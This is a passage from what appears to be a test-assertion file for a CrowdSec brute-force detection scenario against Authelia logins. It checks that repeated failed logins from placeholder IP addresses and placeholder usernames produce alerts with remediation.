results[8].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[8].Overflow.Alert.Events[5].GetMeta("log_type") == "authelia_failed_json_auth" results[8].Overflow.Alert.Events[5].GetMeta("service") == "authelia" results[8].Overflow.Alert.Events[5].GetMeta("source_ip") == "6.6.6.7" results[8].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-02-16T12:31:58+02:00" results[8].Overflow.Alert.Events[5].GetMeta("user") == "realuser@example.com" results[8].Overflow.Alert.GetScenario() == "LePresidente/authelia-bf" results[8].Overflow.Alert.Remediation == true results[8].Overflow.Alert.GetEventsCount() == 6 "6.6.6.6" in results[9].Overflow.GetSources() results[9].Overflow.Sources["6.6.6.6"].IP == "6.6.6.6" results[9].Overflow.Sources["6.6.6.6"].Range == "" results[9].Overflow.Sources["6.6.6.6"].GetScope() == "Ip" results[9].Overflow.Sources["6.6.6.6"].GetValue() == "6.6.6.6" results[9].Overflow.Alert.Events[0].GetMeta("datasource_path") == "authelia-bf.log" results[9].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[9].Overflow.Alert.Events[0].GetMeta("log_type") == "authelia_failed_json_auth" results[9].Overflow.Alert.Events[0].GetMeta("service") == "authelia" results[9].Overflow.Alert.Events[0].GetMeta("source_ip") == "6.6.6.6" results[9].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-02-16T12:31:58+02:00" results[9].Overflow.Alert.Events[0].GetMeta("user") == "realuser" results[9].Overflow.Alert.Events[1].GetMeta("datasource_path") == "authelia-bf.log" results[9].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[9].Overflow.Alert.Events[1].GetMeta("log_type") == "authelia_failed_json_auth" results[9].Overflow.Alert.Events[1].GetMeta("service") == "authelia" results[9].Overflow.Alert.Events[1].GetMeta("source_ip") == "6.6.6.6" results[9].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-02-16T12:31:58+02:00" results[9].Overflow.Alert.Events[1].GetMeta("user") == "realuser" results[9].Overflow.Alert.Events[2].GetMeta("datasource_path") == "authelia-bf.log" results[9].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[9].Overflow.Alert.Events[2].GetMeta("log_type") == "authelia_failed_json_auth" results[9].Overflow.Alert.Events[2].GetMeta("service") == "authelia" results[9].Overflow.Alert.Events[2].GetMeta("source_ip") == "6.6.6.6" results[9].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-02-16T12:31:58+02:00" results[9].Overflow.Alert.Events[2].GetMeta("user") == "realuser" results[9].Overflow.Alert.Events[3].GetMeta("datasource_path") == "authelia-bf.log" results[9].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[9].Overflow.Alert.Events[3].GetMeta("log_type") == "authelia_failed_json_auth" results[9].Overflow.Alert.Events[3].GetMeta("service") == "authelia" results[9].Overflow.Alert.Events[3].GetMeta("source_ip") == "6.6.6.6" results[9].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-02-16T12:31:58+02:00" results[9].Overflow.Alert.Events[3].GetMeta("user") == "realuser" results[9].Overflow.Alert.Events[4].GetMeta("datasource_path") == "authelia-bf.log" results[9].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[9].Overflow.Alert.Events[4].GetMeta("log_type") == "authelia_failed_json_auth" results[9].Overflow.Alert.Events[4].GetMeta("service") == "authelia" results[9].Overflow.Alert.Events[4].GetMeta("source_ip") == "6.6.6.6" results[9].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-02-16T12:31:58+02:00" results[9].Overflow.Alert.Events[4].GetMeta("user") == "realuser" results[9].Overflow.Alert.Events[5].GetMeta("datasource_path") == "authelia-bf.log" results[9].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[9].Overflow.Alert.Events[5].GetMeta("log_type") == "authelia_failed_json_auth" results[9].Overflow.Alert.Events[5].GetMeta("service") == "authelia" results[9].Overflow.Alert.Events[5].GetMeta("source_ip") == "6.6.6.6" results[9].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-02-16T12:31:58+02:00" results[9].Overflow.Alert.Events[5].GetMeta("user") == "realuser" results[9].Overflow.Alert.GetScenario() == "LePresidente/authelia-bf" results[9].Overflow.Alert.Remediation == true results[9].Overflow.Alert.GetEventsCount() == 6 "5.5.5.6" in results[10].Overflow.GetSources() results[10].Overflow.Sources["5.5.5.6"].IP == "5.5.5.6" results[10].Overflow.Sources["5.5.5.6"].Range == "" results[10].Overflow.Sources["5.5.5.6"].GetScope() == "Ip" results[10].Overflow.Sources["5.5.5.6"].GetValue() == "5.5.5.6" results[10].Overflow.Alert.Events[0].GetMeta("datasource_path") == "authelia-bf.log" results[10].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[10].Overflow.Alert.Events[0].GetMeta("log_type") == "authelia_failed_json_auth" results[10].Overflow.Alert.Events[0].GetMeta("service") == "authelia" results[10].Overflow.Alert.Events[0].GetMeta("source_ip") == "5.5.5.6" results[10].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-02-16T12:31:49+02:00" results[10].Overflow.Alert.Events[0].GetMeta("user") == "fakeuser1@example.com" results[10].Overflow.Alert.Events[1].GetMeta("datasource_path") == "authelia-bf.log" results[10].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[10].Overflow.Alert.Events[1].GetMeta("log_type") == "authelia_failed_json_auth" results[10].Overflow.Alert.Events[1].GetMeta("service") == "authelia" results[10].Overflow.Alert.Events[1].GetMeta("source_ip") == "5.5.5.6" results[10].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-02-16T12:31:49+02:00" results[10].Overflow.Alert.Events[1].GetMeta("user") == "fakeuser2@example.com" results[10].Overflow.Alert.Events[2].GetMeta("datasource_path") == "authelia-bf.log" results[10].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[10].Overflow.Alert.Events[2].GetMeta("log_type") == "authelia_failed_json_auth" results[10].Overflow.Alert.Events[2].GetMeta("service") == "authelia" results[10].Overflow.Alert.Events[2].GetMeta("source_ip") == "5.5.5.6" results[10].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-02-16T12:31:49+02:00" results[10].Overflow.Alert.Events[2].GetMeta("user") == "fakeuser3@example.com" results[10].Overflow.Alert.Events[3].GetMeta("datasource_path") == "authelia-bf.log" results[10].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[10].Overflow.Alert.Events[3].GetMeta("log_type") == "authelia_failed_json_auth" results[10].Overflow.Alert.Events[3].GetMeta("service") == "authelia" results[10].Overflow.Alert.Events[3].GetMeta("source_ip") == "5.5.5.6" results[10].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-02-16T12:31:49+02:00" results[10].Overflow.Alert.Events[3].GetMeta("user") == "fakeuser4@example.com" results[10].Overflow.Alert.Events[4].GetMeta("datasource_path") == "authelia-bf.log" results[10].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[10].Overflow.Alert.Events[4].GetMeta("log_type") == "authelia_failed_json_auth" results[10].Overflow.Alert.Events[4].GetMeta("service") == "authelia" results[10].Overflow.Alert.Events[4].GetMeta("source_ip") == "5.5.5.6" results[10].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-02-16T12:31:49+02:00" results[10].Overflow.Alert.Events[4].GetMeta("user") == "fakeuser5@example.com" results[10].Overflow.Alert.Events[5].GetMeta("datasource_path") == "authelia-bf.log" results[10].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[10].Overflow.Alert.Events[5].GetMeta("log_type") == "authelia_failed_json_auth" results[10].Overflow.Alert.Events[5].GetMeta("service") == "authelia" results[10].Overflow.Alert.Events[5].GetMeta("source_ip") == "5.5.5.6" results[10].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-02-16T12:31:49+02:00" results[10].Overflow.Alert.Events[5].GetMeta("user") == "fakeuser6@example.com" results[10].Overflow.Alert.GetScenario() == "LePresidente/authelia-bf" results[10].Overflow.Alert.Remediation == true results[10].Overflow.Alert.GetEventsCount() == 6 "5.5.5.5" in results[11].Overflow.GetSources() results[11].Overflow.Sources["5.5.5.5"].IP == "5.5.5.5" results[11].Overflow.Sources["5.5.5.5"].Range == "" results[11].Overflow.Sources["5.5.5.5"].GetScope() == "Ip" results[11].Overflow.Sources["5.5.5.5"].GetValue() == "5.5.5.5" results[11].Overflow.Alert.Events[0].GetMeta("datasource_path") == "authelia-bf.log" results[11].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[11].Overflow.Alert.Events[0].GetMeta("log_type") == "authelia_failed_json_auth" results[11].Overflow.Alert.Events[0].GetMeta("service") == "authelia" results[11].Overflow.Alert.Events[0].GetMeta("source_ip") == "5.5.5.5" results[11].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-02-16T12:31:49+02:00" results[11].Overflow.Alert.Events[0].GetMeta("user") == "fakeuser1" results[11].Overflow.Alert.Events[1].GetMeta("datasource_path") == "authelia-bf.log" results[11].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[11].Overflow.Alert.Events[1].GetMeta("log_type") == "authelia_failed_json_auth" results[11].Overflow.Alert.Events[1].GetMeta("service") == "authelia" results[11].Overflow.Alert.Events[1].GetMeta("source_ip") == "5.5.5.5" results[11].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-02-16T12:31:49+02:00" results[11].Overflow.Alert.Events[1].GetMeta("user") == "fakeuser2" results[11].Overflow.Alert.Events[2].GetMeta("datasource_path") == "authelia-bf.log" results[11].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[11].Overflow.Alert.Events[2].GetMeta("log_type") == "authelia_failed_json_auth" results[11].Overflow.Alert.Events[2].GetMeta("service") == "authelia" results[11].Overflow.Alert.Events[2].GetMeta("source_ip") == "5.5.5.5" results[11].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-02-16T12:31:49+02:00" results[11].Overflow.Alert.Events[2].GetMeta("user") == "fakeuser3" results[11].Overflow.Alert.Events[3].GetMeta("datasource_path") == "authelia-bf.log" results[11].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[11].Overflow.Alert.Events[3].GetMeta("log_type") == "authelia_failed_json_auth" results[11].Overflow.Alert.Events[3].GetMeta("service") == "authelia" results[11].Overflow.Alert.Events[3].GetMeta("source_ip") == "5.5.5.5" results[11].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-02-16T12:31:49+02:00" results[11].Overflow.Alert.Events[3].GetMeta("user") == "fakeuser4" results[11].Overflow.Alert.Events[4].GetMeta("datasource_path") == "authelia-bf.log" results[11].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[11].Overflow.Alert.Events[4].GetMeta("log_type") == "authelia_failed_json_auth" results[11].Overflow.Alert.Events[4].GetMeta("service") == "authelia" results[11].Overflow.Alert.Events[4].GetMeta("source_ip") == "5.5.5.5" results[11].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-02-16T12:31:49+02:00" results[11].Overflow.Alert.Events[4].GetMeta("user") == "fakeuser5" results[11].Overflow.Alert.Events[5].GetMeta("datasource_path") == "authelia-bf.log" results[11].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[11].Overflow.Alert.Events[5].GetMeta("log_type") == "authelia_failed_json_auth" results[11].Overflow.Alert.Events[5].GetMeta("service") == "authelia" results[11].Overflow.Alert.Events[5].GetMeta("source_ip") == "5.5.5.5" results[11].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-02-16T12:31:49+02:00" results[11].Overflow.Alert.Events[5].GetMeta("user") == "fakeuser6" results[11].Overflow.Alert.GetScenario() == "LePresidente/authelia-bf" results[11].Overflow.Alert.Remediation == true results[11].Overflow.Alert.GetEventsCount() == 6 "4.4.4.5" in results[12].Overflow.GetSources() results[12].Overflow.Sources["4.4.4.5"].IP == "4.4.4.5" results[12].Overflow.Sources["4.4.4.5"].Range == "" results[12].Overflow.Sources["4.4.4.5"].GetScope() == "Ip" results[12].Overflow.Sources["4.4.4.5"].GetValue() == "4.4.4.5" results[12].Overflow.Alert.Events[0].GetMeta("datasource_path") == "authelia-bf.log" results[12].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[12].Overflow.Alert.Events[0].GetMeta("log_type") == "authelia_failed_clf_auth" results[12].Overflow.Alert.Events[0].GetMeta("service") == "authelia" results[12].Overflow.Alert.Events[0].GetMeta("source_ip") == "4.4.4.5" results[12].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-02-16T12:24:19+02:00" results[12].Overflow.Alert.Events[0].GetMeta("user") == "realuser@example.com" results[12].Overflow.Alert.Events[1].GetMeta("datasource_path") == "authelia-bf.log" results[12].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[12].Overflow.Alert.Events[1].GetMeta("log_type") == "authelia_failed_clf_auth" results[12].Overflow.Alert.Events[1].GetMeta("service") == "authelia" results[12].Overflow.Alert.Events[1].GetMeta("source_ip") == "4.4.4.5" results[12].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-02-16T12:24:19+02:00" results[12].Overflow.Alert.Events[1].GetMeta("user") == "realuser@example.com" results[12].Overflow.Alert.Events[2].GetMeta("datasource_path") == "authelia-bf.log" results[12].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[12].Overflow.Alert.Events[2].GetMeta("log_type") == "authelia_failed_clf_auth" results[12].Overflow.Alert.Events[2].GetMeta("service") == "authelia" results[12].Overflow.Alert.Events[2].GetMeta("source_ip") == "4.4.4.5" results[12].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-02-16T12:24:19+02:00" results[12].Overflow.Alert.Events[2].GetMeta("user") == "realuser@example.com" results[12].Overflow.Alert.Events[3].GetMeta("datasource_path") == "authelia-bf.log" results[12].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[12].Overflow.Alert.Events[3].GetMeta("log_type") == "authelia_failed_clf_auth" results[12].Overflow.Alert.Events[3].GetMeta("service") == "authelia" results[12].Overflow.Alert.Events[3].GetMeta("source_ip") == "4.4.4.5" results[12].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-02-16T12:24:19+02:00" results[12].Overflow.Alert.Events[3].GetMeta("user") == "realuser@example.com" results[12].Overflow.Alert.Events[4].GetMeta("datasource_path") == "authelia-bf.log" results[12].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[12].Overflow.Alert.Events[4].GetMeta("log_type") == "authelia_failed_clf_auth" results[12].Overflow.Alert.Events[4].GetMeta("service") == "authelia" results[12].Overflow.Alert.Events[4].GetMeta("source_ip") == "4.4.4.5" results[12].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-02-16T12:24:19+02:00" results[12].Overflow.Alert.Events[4].GetMeta("user") == "realuser@example.com" results[12].Overflow.Alert.Events[5].GetMeta("datasource_path") == "authelia-bf.log" results[12].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[12].Overflow.Alert.Events[5].GetMeta("log_type") == "authelia_failed_clf_auth" results[12].Overflow.Alert.Events[5].GetMeta("service") == "authelia" results[12].Overflow.Alert.Events[5].GetMeta("source_ip") == "4.4.4.5" results[12].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-02-16T12:24:19+02:00" results[12].Overflow.Alert.Events[5].GetMeta("user") == "realuser@example.com" results[12].Overflow.Alert.GetScenario() == "LePresidente/authelia-bf" results[12].Overflow.Alert.Remediation == true results[12].Overflow.Alert.GetEventsCount() == 6 "4.4.4.4" in results[13].Overflow.GetSources() results[13].Overflow.Sources["4.4.4.4"].IP == "4.4.4.4" results[13].Overflow.Sources["4.4.4.4"].Range == "" results[13].Overflow.Sources["4.4.4.4"].GetScope() == "Ip" results[13].Overflow.Sources["4.4.4.4"].GetValue() == "4.4.4.4" results[13].Overflow.Alert.Events[0].GetMeta("datasource_path") == "authelia-bf.log" results[13].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[13].Overflow.Alert.Events[0].GetMeta("log_type") == "authelia_failed_clf_auth" results[13].Overflow.Alert.Events[0].GetMeta("service") == "authelia" results[13].Overflow.Alert.Events[0].GetMeta("source_ip") == "4.4.4.4" results[13].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-02-16T12:24:19+02:00" results[13].Overflow.Alert.Events[0].GetMeta("user") == "realuser" results[13].Overflow.Alert.Events[1].GetMeta("datasource_path") == "authelia-bf.log" results[13].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[13].Overflow.Alert.Events[1].GetMeta("log_type") == "authelia_failed_clf_auth" results[13].Overflow.Alert.Events[1].GetMeta("service") == "authelia" results[13].Overflow.Alert.Events[1].GetMeta("source_ip") == "4.4.4.4" results[13].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-02-16T12:24:19+02:00" results[13].Overflow.Alert.Events[1].GetMeta("user") == "realuser" results[13].Overflow.Alert.Events[2].GetMeta("datasource_path") == "authelia-bf.log" results[13].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[13].Overflow.Alert.Events[2].GetMeta("log_type") == "authelia_failed_clf_auth" results[13].Overflow.Alert.Events[2].GetMeta("service") == "authelia" results[13].Overflow.Alert.Events[2].GetMeta("source_ip") == "4.4.4.4" results[13].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-02-16T12:24:19+02:00" results[13].Overflow.Alert.Events[2].GetMeta("user") == "realuser" results[13].Overflow.Alert.Events[3].GetMeta("datasource_path") == "authelia-bf.log" results[13].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[13].Overflow.Alert.Events[3].GetMeta("log_type") == "authelia_failed_clf_auth" results[13].Overflow.Alert.Events[3].GetMeta("service") == "authelia" results[13].Overflow.Alert.Events[3].GetMeta("source_ip") == "4.4.4.4" results[13].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-02-16T12:24:19+02:00" results[13].Overflow.Alert.Events[3].GetMeta("user") == "realuser" results[13].Overflow.Alert.Events[4].GetMeta("datasource_path") == "authelia-bf.log" results[13].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[13].Overflow.Alert.Events[4].GetMeta("log_type") == "authelia_failed_clf_auth" results[13].Overflow.Alert.Events[4].GetMeta("service") == "authelia" results[13].Overflow.Alert.Events[4].GetMeta("source_ip") == "4.4.4.4" results[13].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-02-16T12:24:19+02:00" results[13].Overflow.Alert.Events[4].GetMeta("user") == "realuser" results[13].Overflow.Alert.Events[5].GetMeta("datasource_path") == "authelia-bf.log" results[13].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[13].Overflow.Alert.Events[5].GetMeta("log_type") == "authelia_failed_clf_auth" results[13].Overflow.Alert.Events[5].GetMeta("service") == "authelia" results[13].Overflow.Alert.Events[5].GetMeta("source_ip") == "4.4.4.4" results[13].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-02-16T12:24:19+02:00" results[13].Overflow.Alert.Events[5].GetMeta("user") == "realuser" results[13].Overflow.Alert.GetScenario() == "LePresidente/authelia-bf" results[13].Overflow.Alert.Remediation == true results[13].Overflow.Alert.GetEventsCount() == 6 "3.3.3.4" in results[14].Overflow.GetSources() results[14].Overflow.Sources["3.3.3.4"].IP == "3.3.3.4" results[14].Overflow.Sources["3.3.3.4"].Range == "" results[14].Overflow.Sources["3.3.3.4"].GetScope() == "Ip" results[14].Overflow.Sources["3.3.3.4"].GetValue() == "3.3.3.4" results[14].Overflow.Alert.Events[0].GetMeta("datasource_path") == "authelia-bf.log" results[14].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[14].Overflow.Alert.Events[0].GetMeta("log_type") == "authelia_failed_clf_auth" results[14].Overflow.Alert.Events[0].GetMeta("service") == "authelia" results[14].Overflow.Alert.Events[0].GetMeta("source_ip") == "3.3.3.4" results[14].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-02-16T11:48:16+02:00" results[14].Overflow.Alert.Events[0].GetMeta("user") == "realuser@example.com" results[14].Overflow.Alert.Events[1].GetMeta("datasource_path") == "authelia-bf.log" results[14].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[14].Overflow.Alert.Events[1].GetMeta("log_type") == "authelia_failed_clf_auth" results[14].Overflow.Alert.Events[1].GetMeta("service") == "authelia" results[14].Overflow.Alert.Events[1].GetMeta("source_ip") == "3.3.3.4" results[14].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-02-16T11:48:16+02:00" results[14].Overflow.Alert.Events[1].GetMeta("user") == "realuser@example.com" results[14].Overflow.Alert.Events[2].GetMeta("datasource_path") == "authelia-bf.log" results[14].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[14].Overflow.Alert.Events[2].GetMeta("log_type") == "authelia_failed_clf_auth" results[14].Overflow.Alert.Events[2].GetMeta("service") == "authelia" results[14].Overflow.Alert.Events[2].GetMeta("source_ip") == "3.3.3.4" results[14].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-02-16T11:48:16+02:00" results[14].Overflow.Alert.Events[2].GetMeta("user") == "realuser@example.com" results[14].Overflow.Alert.Events[3].GetMeta("datasource_path") == "authelia-bf.log" results[14].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[14].Overflow.Alert.Events[3].GetMeta("log_type") == "authelia_failed_clf_auth" results[14].Overflow.Alert.Events[3].GetMeta("service") == "authelia" results[14].Overflow.Alert.Events[3].GetMeta("source_ip") == "3.3.3.4" results[14].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-02-16T11:48:16+02:00" results[14].Overflow.Alert.Events[3].GetMeta("user") == "realuser@example.com" results[14].Overflow.Alert.Events[4].GetMeta("datasource_path") == "authelia-bf.log" results[14].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[14].Overflow.Alert.Events[4].GetMeta("log_type") == "authelia_failed_clf_auth" results[14].Overflow.Alert.Events[4].GetMeta("service") == "authelia" results[14].Overflow.Alert.Events[4].GetMeta("source_ip") == "3.3.3.4" results[14].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-02-16T11:48:16+02:00" results[14].Overflow.Alert.Events[4].GetMeta("user") == "realuser@example.com" results[14].Overflow.Alert.Events[5].GetMeta("datasource_path") == "authelia-bf.log" results[14].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[14].Overflow.Alert.Events[5].GetMeta("log_type") == "authelia_failed_clf_auth" results[14].Overflow.Alert.Events[5].GetMeta("service") == "authelia" results[14].Overflow.Alert.Events[5].GetMeta("source_ip") == "3.3.3.4" results[14].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-02-16T11:48:16+02:00" results[14].Overflow.Alert.Events[5].GetMeta("user") == "realuser@example.com" results[14].Overflow.Alert.GetScenario() == "LePresidente/authelia-bf" results[14].Overflow.Alert.Remediation == true results[14].Overflow.Alert.GetEventsCount() == 6 "3.3.3.3" in results[15].Overflow.GetSources() results[15].Overflow.Sources["3.3.3.3"].IP == "3.3.3.3" results[15].Overflow.Sources["3.3.3.3"].Range == "" results[15].Overflow.Sources["3.3.3.3"].GetScope() == "Ip" results[15].Overflow.Sources["3.3.3.3"].GetValue() == "3.3.3.3" results[15].Overflow.Alert.Events[0].GetMeta("datasource_path") == "authelia-bf.log" results[15].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[15].Overflow.Alert.Events[0].GetMeta("log_type") == "authelia_failed_clf_auth" results[15].Overflow.Alert.Events[0].GetMeta("service") == "authelia" results[15].Overflow.Alert.Events[0].GetMeta("source_ip") == "3.3.3.3" results[15].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-02-16T11:48:16+02:00" results[15].Overflow.Alert.Events[0].GetMeta("user") == "realuser" results[15].Overflow.Alert.Events[1].GetMeta("datasource_path") == "authelia-bf.log" results[15].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[15].Overflow.Alert.Events[1].GetMeta("log_type") == "authelia_failed_clf_auth" results[15].Overflow.Alert.Events[1].GetMeta("service") == "authelia" results[15].Overflow.Alert.Events[1].GetMeta("source_ip") == "3.3.3.3" results[15].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-02-16T11:48:16+02:00" results[15].Overflow.Alert.Events[1].GetMeta("user") == "realuser" results[15].Overflow.Alert.Events[2].GetMeta("datasource_path") == "authelia-bf.log" results[15].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[15].Overflow.Alert.Events[2].GetMeta("log_type") == "authelia_failed_clf_auth" results[15].Overflow.Alert.Events[2].GetMeta("service") == "authelia" results[15].Overflow.Alert.Events[2].GetMeta("source_ip") == "3.3.3.3" results[15].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-02-16T11:48:16+02:00" results[15].Overflow.Alert.Events[2].GetMeta("user") == "realuser" results[15].Overflow.Alert.Events[3].GetMeta("datasource_path") == "authelia-bf.log" results[15].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[15].Overflow.Alert.Events[3].GetMeta("log_type") == "authelia_failed_clf_auth" results[15].Overflow.Alert.Events[3].GetMeta("service") == "authelia" results[15].Overflow.Alert.Events[3].GetMeta("source_ip") == "3.3.3.3" results[15].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-02-16T11:48:16+02:00" results[15].Overflow.Alert.Events[3].GetMeta("user") == "realuser" results[15].Overflow.Alert.Events[4].GetMeta("datasource_path") == "authelia-bf.log" results[15].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[15].Overflow.Alert.Events[4].GetMeta("log_type") == "authelia_failed_clf_auth" results[15].Overflow.Alert.Events[4].GetMeta("service") == "authelia" results[15].Overflow.Alert.Events[4].GetMeta("source_ip") == "3.3.3.3" results[15].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-02-16T11:48:16+02:00" results[15].Overflow.Alert.Events[4].GetMeta("user") == "realuser" results[15].Overflow.Alert.Events[5].GetMeta("datasource_path") == "authelia-bf.log" results[15].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[15].Overflow.Alert.Events[5].GetMeta("log_type") == "authelia_failed_clf_auth" results[15].Overflow.Alert.Events[5].GetMeta("service") == "authelia" results[15].Overflow.Alert.Events[5].GetMeta("source_ip") == "3.3.3.3" results[15].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-02-16T11:48:16+02:00" results[15].Overflow.Alert.Events[5].GetMeta("user") == "realuser" results[15].Overflow.Alert.GetScenario() == "LePresidente/authelia-bf" results[15].Overflow.Alert.Remediation == true results[15].Overflow.Alert.GetEventsCount() == 6 "2.2.2.3" in results[16].Overflow.GetSources() results[16].Overflow.Sources["2.2.2.3"].IP == "2.2.2.3" results[16].Overflow.Sources["2.2.2.3"].Range == "" results[16].Overflow.Sources["2.2.2.3"].GetScope() == "Ip" results[16].Overflow.Sources["2.2.2.3"].GetValue() == "2.2.2.3" results[16].Overflow.Alert.Events[0].GetMeta("datasource_path") == "authelia-bf.log" results[16].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[16].Overflow.Alert.Events[0].GetMeta("log_type") == "authelia_failed_clf_auth" results[16].Overflow.Alert.Events[0].GetMeta("service") == "authelia" results[16].Overflow.Alert.Events[0].GetMeta("source_ip") == "2.2.2.3" results[16].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-02-14T13:49:12+02:00" results[16].Overflow.Alert.Events[0].GetMeta("user") == "realuser@example.com" results[16].Overflow.Alert.Events[1].GetMeta("datasource_path") == "authelia-bf.log" results[16].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[16].Overflow.Alert.Events[1].GetMeta("log_type") == "authelia_failed_clf_auth" results[16].Overflow.Alert.Events[1].GetMeta("service") == "authelia" results[16].Overflow.Alert.Events[1].GetMeta("source_ip") == "2.2.2.3" results[16].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-02-14T13:49:12+02:00" results[16].Overflow.Alert.Events[1].GetMeta("user") == "realuser@example.com" results[16].Overflow.Alert.Events[2].GetMeta("datasource_path") == "authelia-bf.log" results[16].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[16].Overflow.Alert.Events[2].GetMeta("log_type") == "authelia_failed_clf_auth" results[16].Overflow.Alert.Events[2].GetMeta("service") == "authelia" results[16].Overflow.Alert.Events[2].GetMeta("source_ip") == "2.2.2.3" results[16].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-02-14T13:49:12+02:00" results[16].Overflow.Alert.Events[2].GetMeta("user") == "realuser@example.com" results[16].Overflow.Alert.Events[3].GetMeta("datasource_path") == "authelia-bf.log" results[16].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[16].Overflow.Alert.Events[3].GetMeta("log_type") == "authelia_failed_clf_auth" results[16].Overflow.Alert.Events[3].GetMeta("service") == "authelia" results[16].Overflow.Alert.Events[3].GetMeta("source_ip") == "2.2.2.3" results[16].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-02-14T13:49:12+02:00" results[16].Overflow.Alert.Events[3].GetMeta("user") == "realuser@example.com" results[16].Overflow.Alert.Events[4].GetMeta("datasource_path") == "authelia-bf.log" results[16].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[16].Overflow.Alert.Events[4].GetMeta("log_type") == "authelia_failed_clf_auth" results[16].Overflow.Alert.Events[4].GetMeta("service") == "authelia" results[16].Overflow.Alert.Events[4].GetMeta("source_ip") == "2.2.2.3" results[16].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-02-14T13:49:12+02:00" results[16].Overflow.Alert.Events[4].GetMeta("user") == "realuser@example.com" results[16].Overflow.Alert.Events[5].GetMeta("datasource_path") == "authelia-bf.log" results[16].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[16].Overflow.Alert.Events[5].GetMeta("log_type") == "authelia_failed_clf_auth" results[16].Overflow.Alert.Events[5].GetMeta("service") == "authelia" 